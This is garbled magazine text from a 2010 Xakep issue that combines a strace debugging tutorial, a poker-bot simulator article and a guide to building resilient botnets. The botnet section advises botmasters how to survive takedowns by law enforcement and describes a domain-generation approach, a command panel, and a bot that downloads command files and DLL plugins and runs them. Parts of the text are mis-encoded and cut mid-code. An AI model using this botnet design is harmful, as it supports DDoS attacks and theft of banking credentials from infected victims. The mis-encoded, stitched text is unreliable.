îòíîñèòåëüíîå èìÿ ôàéëà, âûçâàâøåãî ñîáûòèå(òîëüêî ïðè ìîíèòîðèíãå êàòàëîãà)$% — íàçâàíèå ñîáûòèÿСтатистика библиотечных вызовов OpenOfficePHP с помощью обычной функции mail не отправлялись письма. Заглянулв логи индейца — пусто, в логах сендмыла и системных логах— тоже ничего интересного. С точно такими же конфигами apache,PHP и sendmail на другом сервере все работало, значит, причинаНемного историиStrace (сокращение от system trace) — это свободное ПО, распространяемоепод BSD-подобной лицензией. Утилита была написана в 1991году Полом Краненбургом для SunOS как аналог утилиты trace. На Linuxее портировал Бранко Ланкестер, который также реализовал поддержкув ядре. В 1992 году вышла версия 2.5 для SunOS, но версия для Linuxвсе еще базировалась на версии 1.5. В 1993 году Рик Слэдки объединилstrace 2.5 для SunOS и второй релиз strace для Linux, добавив приэтом много возможностей от truss из SVR4. В результате появиласьstrace, которая работала и на Linux, и на SunOS. В 1994 Рик портировалstrace на SVR4 и Solaris, а в 1995 — на Irix. Сегодня strace поддерживаетсябольшим количеством людей, в списке разработчиков дажеуспел отметиться сам Линус. Последняя на момент написания статьиверсия — 4.5.20 от 14 апреля 2010 года. strace сейчас достаточно активноразвивается, в основном добавляется поддержка и фиксятся багипри работе на всяких экзотичных архитектурах.Инструменты, подобные straceDTrace — продукт Sun Microsystems, работает на Solaris, FreeBSD иMac OS X (10.5 и старше). Есть тестовая версия порта для Linux.ktrace — работает на FreeBSD, OpenBSD, NetBSD и Mac OS X (доверсии 10.5).Inotify-toolsКроме Incron есть еще полезная штука, использующая inotify —inotify-tools, включающая в себя inotifywait и inotifywatch, которыеочень удобно использовать в скриптах. Inotifywait просто ждетуказанных событий над указанными файлами и завершается с темили иным кодом возврата. Немного модифицированный скрипт изman'а, хорошо иллюстрирующий предназначение inotifywait:$ cat ~/script.shwhile inotifywait -e modify \/var/log/apache2/error.log; dotail -1 /var/log/apache2/error.log | \notify-send "Apache needs love!"doneInotifywatch просто собирает статистику по обращению к определенномуфайлу/каталогу в течение определенного времени или допрерывания и отображает ее в виде таблицы. Есть возможностьсбора статистики только по определенным событиям, заданияисключения файлов по маске и чтения списка объектов для мониторингаиз файла.XÀÊÅÐ 08 /139/ 10


ldd для Firefoxне в них. Пора расчехлять strace. Остановил апач и запустил трассировку:# strace -f -o /tmp/apache2.strace \/etc/init.d/apache2 startСписок файлов, которые открывает Firefox при запускеПосле того, как скрипт отправки почты (с нехитрым названием mail.php) был несколько раз запущен из браузера, а apache остановлен,можно приступать к анализу лога.$ grep mail.php /tmp/apache2.strace5345 read(9, "GET /mail.php HTTP/1.1\r\nHost:12"..., 8000) = 3975345 stat("/var/www/mail.php", {st_mode=S_IFREG|0644, st_size=256, ...}) = 05345 lstat("/var/www/mail.php", {st_mode=S_IFREG|0644, st_size=256, ...}) = 05345 open("/var/www/mail.php", O_RDONLY) = 10…Здесь в каждой строчке первое поле — PID, второе — вызов с параметрами,третье — значение, которое вернул вызов. В большинствеслучаев, если возвращаемое значение не отрицательное — вызовотработал без ошибки. То есть, grep по mail.php не дал ничего интересного,кроме PID-процесса (5345), который его обрабатывал. Что ж,запустим grep по PID:$ grep 5345 /tmp/apache2.strace5340 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f3bf2eada10) = 5345…5345 read(9, "GET /mail.php HTTP/1.1\r\nHost:12"..., 8000) = 3975345 stat("/var/www/mail.php", {st_mode=S_IFREG|0644, st_size=256, ...}) = 0…5345 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f3bf2eada10) = 5347Опять ничего интересного по поводу ошибки. Но на последнейстрочке с помощью системного вызова clone создается дочернийпроцесс с PID 5347. Ух ты, квест! :) Grep по 5347:$ grep 5347 /tmp/apache2.strace5345 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f3bf2eada10) = 5347…5347 execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], [/* 6 vars */] = -1 EACCES(Permission denied)Бинго! Для отправки почты используется /usr/sbin/sendmail, авызов ругается на отсутствие прав. Причем права на sendmailвыставлены корректно, а вот на /bin/sh — нет. Каким-то образомоказалось, что права на /bin/sh были 770 (при владельце и группеroot), то есть пользователь www-data (от которого работал apache)не имел прав на выполнение. Корректировка прав исправила этонедоразумение.ПРОБЛЕМЫ С СЕТЬЮИногда strace позволяет решать сетевые проблемы гораздо быстрее,чем tcpdump. В частности, с помощью strace очень удобно отслеживать,к каким сервисам и в каком порядке обращается приложениедля определения имен.Однажды я сменил IP для одного домена, но, несмотря на то, чтоdig выдавал мне правильный новый IP, firefox все еще ломился настарый. Трассируем:$ strace -f -e trace=network firefox xakep.ru7879 socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 37879 connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = 07879 sendto(3, "\2\0\0\0\v\0\0\0\7\0\0\0passwd\0",19, MSG_NOSIGNAL, NULL, 0) = 19Вызов connect из листинга показывает, что Firefox сначала обращаетсяк сервису NSCD (кэширующий демон) для разрешения имен,а только потом, если NSCD ничего не выдаст — к DNS. На ноутбукеXÀÊÅÐ 08 /139/ 10 101


UNIXOID# ldd /usr/local/nginx/sbin/nginxlinux-gate.so.1 => (0xb7789000)libcrypt.so.1 => /lib/i686/cmov/libcrypt.so.1(0xb7751000)libpcre.so.3 => /usr/lib/libpcre.so.3 (0xb7728000)libssl.so.0.9.8 => /usr/lib/i686/cmov/libssl.so.0.9.8 (0xb75d4000)libcrypto.so.0.9.8 => /usr/lib/i686/cmov/libcrypto.so.0.9.8 (0xb7cde000)libz.so.1 => /usr/lib/libz.so.1 (0xb75bf000)libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb7464000)libdl.so.2 => /lib/i686/cmov/libdl.so.2 (0xb7460000)/lib/ld-linux.so.2 (0xb778a000)Переносим эти библиотеки в заранее созданное chroot-окружение(например, /chroot/nginx). Дальше, чтобы удостовериться в том,что у нас есть все необходимые библиотеки, нужно с помощью lddпосмотреть также зависимости скопированных библиотек. Кромебиблиотек nginx'у нужны еще некоторые конфиги и логи. Получимсписок необходимых файлов:Список динамических библиотек FirefoxNSCD только мешается, поэтому я его смело удалил, после чего огнелиснашел правильный айпишник.ПРОБЛЕМЫ С ПСЕВДОУСТРОЙСТВАМИБывает, что какое-то приложение просто виснет, не выдавая никакихошибок и завершаясь только по kill. Или работает, но тормозит на, казалосьбы, простейшей операции. Приведу пример: есть старенькийDebian Etch, на нем squid из репозитория с простой NCSA аутентификациейи SAMS для удобного управления. После создания пользователячерез SAMS при релоаде squid долго тормозит на операцияхдобавления пользователей.# strace -f -o /tmp/samsdaemon /etc/init.d/samsd start…15773 13:16:03 stat64("/etc/squid/ncsa.sams", {st_mode=S_IFREG|0644, st_size=314, ...}) = 015773 13:16:03 open("/etc/squid/ncsa.sams", O_RDONLY|O_APPEND|O_LARGEFILE) = 315773 13:16:03 close(3) = 015773 13:16:03 open("/dev/random", O_RDONLY) = 315773 13:16:03 read(3,# strace -e trace=open /usr/local/nginx/sbin/nginxopen("/etc/ld.so.cache", O_RDONLY) = 3open("/lib/i686/cmov/libcrypt.so.1", O_RDONLY) = 3open("/usr/lib/libpcre.so.3", O_RDONLY) = 3open("/usr/lib/i686/cmov/libssl.so.0.9.8", O_RDONLY)= 3open("/usr/lib/i686/cmov/libcrypto.so.0.9.8",O_RDONLY) = 3…open("/etc/passwd", O_RDONLY|O_CLOEXEC) = 4open("/etc/group", O_RDONLY|O_CLOEXEC) = 4open("/usr/local/nginx/logs/access.log", O_WRONLY|O_CREAT|O_APPEND|O_LARGEFILE, 0644) = 4open("/usr/local/nginx/logs/error.log", O_WRONLY|O_CREAT|O_APPEND|O_LARGEFILE, 0644) = 5Скопируем недостающие файлы, удаляя при этом из конфиговненужную информацию (например, лишних пользователей из /etc/passwd).Создадим в chroot-окружении /dev/null, необходимый для нормальногофункционирования nginx'а:# mknod /chroot/nginx/dev/null c 1 3Вот и все. Теперь запускать nginx в chroot можно следующим образом:На последнем вызове система задумывается больше, чем на минуту.Значит, проблема в /dev/random. SAMS применяет его для созданияхешей паролей пользователей. Самое простое решение — использовать/dev/urandom, который гораздо быстрее, чем /dev/random.САЖАЕМ NGINX В ПЕСОЧНИЦУБезопасности много не бывает, поэтому никакая дополнительнаяступень защиты лишней не будет. Достаточно популярный и простойв реализации механизм минимизации урона от взлома — запускприложения в chroot. Процесс переноса приложения в песочницу несложен, если воспользоваться strace и еще одной полезной утилитой— ldd (показывает список совместно используемых библиотек ELFфайла).Покажу на примере, как запускать в chroot популярный напросторах рунета веб-сервер nginx.Предположим, что nginx (последней на момент написания статьиверсии 0.8.40) уже собран с параметрами по умолчанию и лежит в/usr/local. Список библиотек, которые нужны ему для работы:102# chroot /chroot/nginx/ /usr/local/nginx/sbin/nginxЗАКЛЮЧЕНИЕДля применения strace есть некоторые ограничения. Во-первых,понятно, что не следует использовать этот инструмент в рабочемокружении (трассировка apache на высоконагруженном productionсерверебудет большой ошибкой) — производительность приложенияв режиме трассировки сильно снижается. Второе ограничение— это возможные проблемы с трассировкой 32-битных приложенийна 64-битной системе. И, наконец, третье — некоторые проги падаютпри выполнении трассировки вследствие наличия либо багов, либозащиты от трассировок (в основном это касается, конечно, проприетарногософта).Несмотря на широкие возможности, strace — не «серебряная пуля»,он не сможет помочь найти причину абсолютно всех проблем. Однакоэто очень хороший инструмент, который обязательно нужно попробовать,прежде чем браться за gdb.zXÀÊÅÐ 08 /139/ 10


Реклама


CODINGДенис «c0n Difesa» Макрушин condifesa@gmail.com, http://defec.ruÈñêóññòâîçîìáèðîâàíèÿÀçáóêà ñîçäàíèÿ íåóãîíÿåìûõ áîòíåòîâÑîâðåìåííûå áîò-ñåòè ïî ñâîåé ÷èñëåííîñòè äàâíî ïåðåøàãíóëèìèëëèîííóþ ïëàíêó. Èõ ìàñøòàáû ïîçâîëÿþò áîò-ìàñòåðàì«ðàñïàðàëëåëèòü» ôèíàíñîâûå ïîòîêè îò ïðåäîñòàâëÿåìûõóñëóã. Íûíåøíèå ïîäõîäû ê ïðîåêòèðîâàíèþ áîòíåòà ïîçâîëÿþòèñïîëüçîâàòü åãî êàê äëÿ îñóùåñòâëåíèÿ óæå ñòàâøèõ êëàññèêîéâ íàøå âðåìÿ DDoS-àòàê, òàê è äëÿ ðàáîòû íà óðîâíå îòäåëüíî âçÿòûõõîñòîâ.Зачем? Например, с целью получения какой-либо конфиденциальнойинформации, сбора TAN (Transaction authentication number, используетсяв качестве дополнительного средства аутентификации в сервисахонлайн-банкинга), аккаунтов к целевым ресурсам. И все эти манипуляцииосуществляются в параллельном режиме разными частямиодной бот-сети. По мере роста «персональной армии» могут появитьсядополнительные подводные камни, которые трудно отследить на этапепроектировки бота и еще труднее от них избавиться, так как любое изменениев его архитектуре может разрушить ботнет как карточный домик.Именно поэтому у будущего бот-мастера должно быть четкое представлениемасштабов своей сети, решаемых ею задач и варианты действийна случай ее утраты. Последний пункт особенно актуален для бот-сетейбольших масштабов или принадлежащих к кардерской инфраструктуре.Заинтересоваться детищем могут как конкуренты, так и правоохранительныеорганы. Все возможные риски должны быть также выявлены иустранены на этапе проектировки. Год назад в нашем журнале концепциюидеального ботнета детально описал Роман Хоменко в своей статье«Вечный ботнет». В ней он изложил принципы создания бота, организациюполучения команд от командного центра, а также внес некоторыепостулаты проектирования бот-сети. Советую взять его материал за основу.В свою очередь, следуя теоретическим аспектам построения «идеальнойармии», мы рассмотрим практическую сторону создания бота.ÀÐÕÈÒÅÊÒÓÐÀ — ÍÀØÅ ÂÑÅСуществует множество способов управления зараженными хостами ипередача команд каждой машине. Все зависит от конкретных предпочтенийбот-мастера. В зависимости от типа используемого протоколакомандным центром может выступать:• Веб-сервер — управление осуществляется через веб-интерфейс. Внастоящее время это самый распространенный способ (кстати, именноего использует нашумевший Zeus).• Instant Message среда — передача команд по одному изIM-протоколов (ICQ, jabber, MSN и т.п.). Используется в бот-сетях снебольшим количеством хостов.• IRC — командный центр находится на одном из IRC-каналов.Морально устаревший метод осуществления контроля. В настоящеевремя практически не используется из-за высокой степени вероятностиизолирования (перехвата) командного центра.• Twitter-среда — управление ботнетом посредством передачи командв твиттер-аккаунте. Довольно экзотический способ, но имеет право насуществование в условиях повсеместной распространенности социальныхсетей и веб-сервисов, предоставляющих свои API. Кстати, в данномслучае можно не задумываться о том, что командный центр можетупасть из-за нагрузки своей же «армии», ведь большинство данныхпроектов рассчитаны на огромную аудиторию и имеют соответствующиесредства масштабируемости.• TCP/IP-based — управление посредством протоколов, базирующихсяна стеке TCP/IP. Под эту категорию попадают все остальные способы,основанные на передаче команд по экзотическим и самописным протоколам.Обилие данных методов можно классифицировать всего лишь по двумпризнакам (смотри соответствующие рисунки):• Передача команд посредством командного центра (централизованнаятопология);• Передача команд от бота к боту или P2P (децентрализованная топология).Удобство централизованных схем объясняется наличием единогоцентра, к которому обращаются боты с целью получения задания.Не нужно беспокоиться о своевременном получении командыконкретным ботом. Факты получения, выполнения, успешного/неуспешного завершения задачи легко фиксируются, что позволяетвести детальную статистику. Однако централизованная топологияостается актуальной лишь для небольших бот-сетей по следующимпричинам:• Плохая масштабируемость (с ростом числа зараженных хостов растетнагрузка на командный центр и увеличивается вероятность осуществленияатаки типа «отказ в обслуживании» на сервер, передающийзадания);104 XÀÊÅÐ 08 /139/ 10


codingMasterBotBotBotСхема централизованной топологии• Централизованное управление (высокая вероятность изолированиякомандного центра, что немедленно «парализует» весь ботнет).Децетрализованная топология полностью лишена вышеперечисленныхнедостатков и в силу особенностей своей архитектуры обеспечиваетбольшую «живучесть» бот-сети. Но, как всегда, в бочку меда обязательнокем-то вылита солидная ложка дегтя, и в нашем случае — не одна:1) Peer-to-peer схема предполагает уведомление каждого бота о существованиидругих зараженных машин. Эта процедура является довольно«палевной», так как необходимо хранить на каждой зараженной рабочейстанции огромный (мы рассматриваем большие ботнеты) файл сосписком IP всех ботов сети и в реальном времени его обновлять, еслитребуется доставка команд каждой «боевой единице»;2) Обновление списка и получение команды требуют дополнительно —открытых портов на зараженной машине, что увеличивает вероятностьобнаружения ботнета;3) Значительное время затрачивается на передачу задания от хоста кхосту (P2P) и, соответственно, растет общее время его выполнения;4) Трудность ведения статистических данных (сколько ботов получили/выполнили задание).В большинстве случаев обилие недостатков и сложность реализацииP2P-ботнетов являются решающими факторами в пользу выбора централизованнойтопологии. Мы также не будем изобретать велосипед, авоспользуемся мировыми практиками.Капризный командный центр, который постоянно находится в условиинеустойчивого равновесия, стремясь упасть при малейшем росте нашей«армии», так и норовит отдаться в руки правоохранительных органов,которые вот-вот прикроют главный домен. Пусть прикрывают — хакерего сменит.ÏÑÅÂÄÎÑËÓ×ÀÉÍÛÅ ÈÌÅÍÀГенератор псевдослучайных чисел имеет одну особенность, котораяявляется ключевой для бот-мастера — получая на вход параметр в видефиксированного значения, ГПЧ генерирует случайную последовательность,которая будет одинакова на различных рабочих станциях приусловии получения их генераторами этого параметра.Чтобы тебе не пришлось долго искать смысл в использовании ГПЧ, рассмотримследующую функцию:Функция генерации псевдослучайнойпоследовательностиint generator (int seed) {srand(seed);/* âûâîä äâàäöàòè ïåðâûõ ýëåìåíòîâïîñëåäîâàòåëüíîñòè*/for (x = 1; x


CODINGBotMasterСписок сгенерированных доменовв своем распоряжении ключ для расшифровки этого файла. Идеяхорошая, но мы пойдем другим путем, воспользовавшись прелестямисовременных технологий.В июньском номере ][ в статье «Уязвимости ONLINE» мы рассмотрелибазовые аспекты создания веб-сервисов на основе технологийASP.NET. Теперь копнем немного глубже и посмотрим, как строятсязащищенные веб-приложения — это пригодится нам для построенияадминистративной панели командного центра. Веб-приложение, в роликоторого выступает «админка», предоставляет ресурсы (то есть командныйфайл) своим клиентам (ботам). Всем «нежелательным» личностямвеб-приложение должно показывать маршрут в сторону леса.Процесс определения санкционированного клиента состоит из двухпоследовательных этапов:• Аутентификация — непосредственно распознавание клиента, запрашивающегоресурс;• Авторизация — определение, имеет ли аутентифицированный клиентнеобходимые права на запрашиваемый им ресурс.Для установки процесса аутентификации в конфигурационном файлевеб-сервиса Config.Web необходимо внести соответствующие изменения:Таким образом мы устанавливаем процесс аутентификации на основеCookies-файлов. Далее для аутентификации клиента необходимо принятьот него данные (UserLogin и UserPassword), сверить их с требуемымии, в случае успеха, передать ему cookies-файлы, которые понадобятсяклиенту для получения доступа к защищенной части сайта, гдехранится командный файл:void Login_Click(Object sender, EventArgs E) {if ((UserLogin.Value == "DotSiteTeam")&& (UserPassword.Value == "BestITResource")) {CookieAuthentication.RedirectFromLoginPage(UserLogin.Value,true);}else {//âûâîä ñîîáùåíèÿ î íåïðàâèëüíî ââåäåííûõ äàííûõ}}BotBotBotСхема децентрализованной топологииВ ASP.NET различают два вида авторизации, которые определяют, естьли у клиента соответствующие права на доступ к запрашиваемому URL,где хранится файл с командами: URL и File. Нам интересен первыйспособ управления доступом, позволяющий проводить разграничениедоступа клиента к ресурсу в зависимости от его имени и роли.Например, следующая конфигурация разрешает доступ к URL всемклие нтам, прошедшим аутентификацию, и запрещает всем остальным:BotBot«Пилить» административную часть ботнета можно не менее продолжительноевремя, чем самого бота, тем более, если в распоряженииимеются интересные технологи защиты веб-приложений ASP.NET, поэтомумы не будем пытаться объять необъятное, а перейдем к ключевойчасти — боту.ÁÎÒ Â ÐÀÇÐÅÇÅЛюбой современный ботнет должен подразумевать расширение своегофункционала. Зачем? Ну, например, если у бот-мастера возникло желаниепереквалифицировать свою армию зомби в сеть распределенныхвычислений, которая будет моделированием последствий ядерныхвзрывов. Плагинная архитектура позволяет «развязать» руки администраторусети и наращивать или обновлять функционал по мере необходимости.Учитывая данный факт, составим алгоритм действий нашегобота:1. получение команды от сервера;2. обработка команды, то есть ее классификация на «известную» или«неизвестную»;3. обработка соответствующим образом параметров команды в зависимостиот ее типа;4. выполнение команды.Получение команд заключает в скачивании текстового файла с сервера(command.txt). Реализацию скачивания файла берет на себя функцияHTTPDownload(char *FileUrl, char *FileName). Данная функциятакже используется и для скачивания необходимых .dll для ботнета.Я решил не заниматься рутиной, работая с сокетами, а воспользоватьсястандартной библиотекой, которая присутствует в Windows: wininet.dll.Данная DLL представляет собой API для доступа к общим протоколаминтернет, включая FTP, HTTP и Gopher. Это высокоуровневый API,позволяющий, в отличие от WinSock или TCP/IP, не заботиться о деталяхреализации соответствующих интернет-протоколов.106 XÀÊÅÐ 08 /139/ 10


codingINFOРезультат работы генератора псевдослучайных чиселinfoИнформация представленаисключительнов целяхознакомления. Занезаконное использованиеее материаловгрозит уголовнаяответственность.Для получения команд бот должен периодическисоединяться с сервером, скачивать командный файли соответствующим способом его обрабатывать. Подобработкой мы подразумеваем действие, в результатекоторого бот получает две строки: название команды истроку, содержащую параметры к ней, перечисленныечерез символ пробела. Командный файл имеет следующуюструктуру:Структура командного файла [ïàðàìåòð(1)] [ïàðàìåòð(2)] …[ïàðàìåòð(i)] [ïàðàìåòð(1)] [ïàðàìåòð(2)] …[ïàðàìåòð(j)]… [ïàðàìåòð(1)] [ïàðàìåòð(2)] …[ïàðàìåòð(n)]где i, j, k меняются в интервале (1; бесконечность).Действия бота таковы:1. выделение k-ой строки;2. передача выделенной строки в функцию, которая реализуетподключение библиотеки, необходимой для выполнениякоманды (функция PlugLibrary());3. PlugLibrary() соответствующим образом интерпретируетстроку и выполняет необходимое действие, зависящиеот типа команды.Парсинг command.txt реализует функция Parse(char*FileName).В случае необходимости подключения скачанной dll’кис целью расширения функционала, функция PlugLibraryвыполняет следующие инструкции по заранее описанномуинтерфейсу подключения (он также должен быть оформленв самой dll)://ïîäêëþ÷åíèå áèáëèîòåêèhPlugin = LoadLibrary(DllName);//îïðåäåëåíèå òèïà (DefType)typedef int (*DefType)(char *);/*îïðåäåëåíèå àäðåñà ôóíêöèè «Load»,êîòîðóþ ýêñïîðòèðóåò áèáëèîòåêà*/DefType Load = (DefType)XÀÊÅÐ 08 /139/ 10GetProcAddress(hPlugin,"Load");/*âûçîâ ôóíêöèè "Load" è ïåðåäà÷à ïàðàìåòðîâýòîé ôóíêöèè*/int iCode=(*Load)(Parametrs);Функция Load, экспортируемая библиотекой, содержитнеобходимые инструкции, обеспечивающие расширениефункционала основной программы-бота.È ÝÒÎ ÒÎËÜÊÎ ÍÀ×ÀËÎ…В статье мы немного подсмотрели за процессом приготовленияботнета по правильному рецепту. Наше вниманиекоснулось большинства аспектов искусства зомбирования:проанализированы основные архитектуры бот-сетей, осуществленареализация наиболее актуальной топологиис устранением присущих ей недостатков, рассмотренадовольно перспективная область использования вебсервисовв качестве административной панели со своейзащищенной зоной, написан плагинный бот, которыйпо мере желания администратора может мутировать донеузнаваемости. И это только начало, ведь сколько нюансовосталось за кадром: сокрытие исполняемого файла всистеме, разделение ботнета на подсети и тому подобныезадачи, которые тебе еще предстоит решить. Я лишь задалтебе направление движения, естественно, исключительно вознакомительных целях. zВ эпоху Web 2.0 популярные сервисы выполняютроль командных центровDVDdvdНа диске тебя ждутисходные коды ботаи генератора доменовв виде проекта дляMS Visual Studio 2010.HTTP://WWWlinks•http://www.xakep.ru/magazine/xa/128/056/1.asp— статья «Вечныйботнет: принципызащиты больших ботсетей».•http://msdn.microsoft.com/ru-ru/library/dd335939.aspx — разработкаи развертываниезащищенных webприложенийдля ASP.NET•http://defec.ru —мой ресурс, где тыможешь найти материалыо различныхсетях распределенныхвычислений, атакже задать вопросыи поделиться идеями.107


CODINGАверин «Tim» Евгений timreset@mail.ru, javatalks.ruÑÈÌÓËßÖÈßÏÎÊÅÐÍÎÃÎ ÎÐÃÀÇÌÀÂêóðèâàåì â êîäèíã ïîêåðíûõ áîòîâ:ñîçäàåì ñèìóëÿòîð òðåíèðîâêè ýòîé ñòàòüå ìû ðàññìîòðèì ñîçäàíèå ñèìóëÿòîðà ïîêåðà. Òàê êàêïðàâèëà ïîêåðà íåìíîãî îòëè÷àþòñÿ ìåæäó ñîáîé, òî â êà÷åñòâåïðàâèë äëÿ ñèìóëÿöèè ìû âîçüìåì ïðàâèëà Holdem No Limit Pokerñ ñàéòà PokerStars. Íà îñíîâå ñèìóëÿòîðà ìû ñäåëàåì äâå èãðû — èãðàêîìïüþòåðà ñ æèâûì èãðîêîì è ïðîñòî èãðà êîìïüþòåðíûõ èãðîêîâìåæäó ñîáîé. Ïåðâàÿ èãðà íàì ïîíàäîáèòñÿ äëÿ òåñòèðîâàíèÿ.ÈÍÒÅÐÔÅÉÑÛСоздадим два интерфейса — Ilogic и IEventSimulation. Первый интерфейснужен для того, чтобы унифицировать вызов различных логик.То есть у нас имеется один интерфейс, который реализует различныелогики, и нам не нужно беспокоиться о хранении различных логик— мы храним только массив интерфейсов ILogic и вызываем методэтого интерфейса. У данного интерфейса есть только один метод —int getAnswer(float p, float totalBet, float curBet,float pot, int betting, int minRaise), он возвращает 0,когда нужно сбросить (fold), 1 при принятии ставки (call) и 2 приувеличении ставки (raise). Немного упростим модель — при рейзене будем выставлять значение ставки, а просто увеличим ставку наминимально возможное значение.Рассмотрим параметры этого метода: p — вероятность выигрыша (пронее читай в статье «Натягиваем сетевые poker room’ы» в июньском ][ или на диске к этому номеру), totalBet — все поставленные игрокомденьги за игру, curBet — текущее количество денег, которое нужнопоставить, pot — размер банка, betting — номер круга торговли,minRaise — минимальное количество денег, на которое нужно повыситьставку при рейзе. Второй интерфейс нужен для создания различныхоболочек для симулятора. В нашем случае будет две оболочки — дляигры компьютерных игроков с человеком и для игры компьютерныхигроков между собой. В интерфейсе IEventSimulation определены методы,которые позволяют сообщать оболочке обо всех изменениях в игре.Перечислим эти методы:changeBoardCard(int[] board) — метод вызывается приизменении карт на столе, changePot(int pot) вызываетсяпри изменении размера банка, changeMoneyOfPlayers(int[]money)вызывается при изменении количества денег игроков,postDillerMessage(String message)вызывается приотправке сообщений дилера, changeDillerPosition(intposOfDealer)вызывается при изменении позиции дилера,changePlayerStatus(int player, int status, int[] hand)вызывается при изменении статуса игрока.ÑÕÅÌÀ ÑÈÌÓËßÒÎÐÀКак известно, правила покера неоднородны и склонны друг от другаотличаться. Например, в круге торговли. Так, по правилам с сайтаPokerStars после первого круга торговли первым ходит активный игрокслева от дилера, а по другим правилам первым ходит игрок слева отигрока, который ходил первым на прошлом круге торговли. В симуляторереализованы правила Holdem Poker с сайта PokerStars. По размеруставок будем делать не NoLimit и не Limit, а кое-что свое — ограничимразмер рейза текущей ставкой.Всего логик семь: AggressiveLogic (разыгрывает даже слабые руки),CautiousLogic (разыгрывает только сильные руки), RationalLogic (действуетрационально), RaiseLogic (все время повышает ставку), CallLogic(все время поддерживает ставку), FoldLogic (все время сбрасывает),RandomLogic (случайно ходит).AggressiveLogic, CautiousLogic и RationalLogic используют в принятии108 XÀÊÅÐ 08 /139/ 10


codingФорма HoldemConsoleФорма HoldemFormрешений формулу p*pot = win и сравнивает win со своими ставками. Иначеговоря, использует формулу, которую мы обсуждали в прошлой статье (еслихочешь освежить память — вставь в свою ЭВМ диск к этому журналу изачитай ее). Единственное, что — CautiousLogic уменьшает вероятность,чтобы разыгрывать меньше рук, а AggressiveLogic увеличивает, чтобыразыгрывать больше. Оболочка HoldemForm рисует форму на swing’e иреализует два интерфейса — IEventSimulation и ILogic. Первый интерфейснужен для того, чтобы отображать на форме все события симуляции — раздачукарт, сообщения дилера, изменения состояний игроков и т.д. Второйинтерфейс мы создаем, чтобы пользователь мог сообщать симулятору своидействия — Fold, Call или Raise. Форма отображает все карты игроков ивероятности их выигрыша, поэтому она не подходит для честной игры скомпьютером, но зато идеально подходит для отладки симулятора.HoldemConsole просто выводит все сообщения дилера на экран.ÏÎÐßÄÎÊ ÑÈÌÓËßÖÈÈДля начала — небольшой алгоритм. Итак:1) Поставить большой и малый блайнды;2) Раздать карты игрокам (Пре флоп);3) Провести круг торговли;4) Положить три карты на стол (Флоп);5) Провести круг торговли;6) Положить четвертую карту на стол (Терн);7) Провести круг торговли;8) Положить пятую карту на стол (Ривер);9) Провести круг торговли;10) Открыть карты и определить выигрышную комбинацию.Соответственно, после каждого круга торговли нужно проверять, неостался ли в игре только один игрок. Если да, то весь банк уходит ему.Количество игроков, которые будут играть, равно девяти. Во времяигры их может стать меньше, но в начале их будет именно девять. Этосделано в целях упрощения симуляции — не надо заботиться о длинахмассивов.XÀÊÅÐ 08 /139/ 10ÊÎÄ ÑÈÌÓËßÒÎÐÀОпределимся с тем, что должен знать симулятор. Во-первых, симулятордолжен иметь следующие данные об игроках: их деньги(moneyOfPlayers), карты (handOfPlayers) и их состояние (в игре иливышли) — stateOfPlayers. Во-вторых, должен знать позицию дилера(posOfDealer), количество денег в банке (pot), размер большого блайнда(bigBlind) и текущие карты на столе (board). Для работы логикипринятия решений нужно также запоминать, сколько денег положилв банк каждый из игроков за текущую игру(totalBet). И самое главное— симулятор должен знать, что за игроки играют за столом, тоесть у него должен быть список всех игроков (playersList). Методы,нужные для симуляции: trade(int betting) — метод торговли,startGame() — главный метод, в котором происходит игра, intgetSinglePlayer() — если в игре остался один игрок, то методвернет индекс этого игрока, int getActivePlayer() — количествоактивных игроков в игре. К этим методам добавляются несколько setметодовдля изменения значений по умолчанию — setBigBlind(intbigBlind), setRoundCount(int roundCount). Можно сделатьметод по изменению количества денег перед игрой, но я считаю, этоне критично, ведь, в конце концов, это симулятор для тестированияалгоритмов, а там не важно, сколько денег у игроков в начале игры.Хотя, если делать на основе этого симулятора приложение для игры впокер, то стоит реализовать данный метод, плюс сделать возможностьизменения количества игроков в начале игры. Теперь рассмотрим подробнееметоды игры и торговли.STARTGAMEШаги симуляции в теории расписаны выше, на практике же к нимдобавляются следующие действия: обнуление переменных передначалом каждого раунда, перемешивание карт перед началом каждогораунда, проверка на наличие более одного игрока в игре после каждогокруга торговли. Небольшое замечание: хотя перемешивание карти занимает больше времени, чем вытаскивание случайной карты (какбыло сделано при определении вероятности выигрыша в прошлой статье),более наглядно и удобно это демонстрируется при сдаче карт. Еслипроизводительности будет не хватать, то можно будет оптимизироватьэтот алгоритм.Еще можно свернуть код проведения игры в цикл, поскольку сейчас тамимеют место повторяющиеся участки с проверками и проведение кругаторговли. Однако, их всего четыре, они не занимают много места, и присворачивании в цикл нужно будет изменять алгоритм раздачи карт настол, поэтому пока оставим все как есть.В исходном коде часто встречается такая конструкция:x = (x + 1) % 9;Эта массивная конструкция представляет собой всего лишь циклическоеувеличение значения переменной x от 0 до 8-9. В данном случаеоно означает количество игроков за столом.TRADEВходной параметр в методе, которой проводит круг торговли109


CODING== maxBet)) {continue;}if (moneyOfPlayers[curPlayer] == 0) {continue;}Схема симулятораÌåòîä äëÿ îïðåäåëåíèÿ õîäà ïîëüçîâàòåëÿpublic int getAction(float p, float totalBet, floatcurBet, float pot, int betting, int minRaise) {if (curBet == 0) {btnCall.setText("Check");} else {btnCall.setText("Call " +String.valueOf(curBet));}btnCall.setVisible(true);btnFold.setVisible(true);btnRiase.setVisible(true);btnRiase.setText("Raise " +String.valueOf(curBet + minRaise));frame.repaint();action = -1;while (action == -1) {try {Thread.sleep(500);} catch (InterruptedException e) {e.printStackTrace();}frame.repaint();}btnCall.setVisible(false);btnFold.setVisible(false);btnRiase.setVisible(false);frame.repaint();return action;}— номер круга торговли. Это 1 (пре-флоп), 2 (флоп), 3 (терн), 4(ривер). В начале метода проверяем на первый круг торговли,и если да, то находим позиции малого и большого блайндови кладем деньги в банк. Далее происходит сам круг торговли.Непосредственно перед ходом каждого игрока проверяются следующиепараметры: больше ли одного игрока в игре, может литекущий игрок играть. При повторном круге 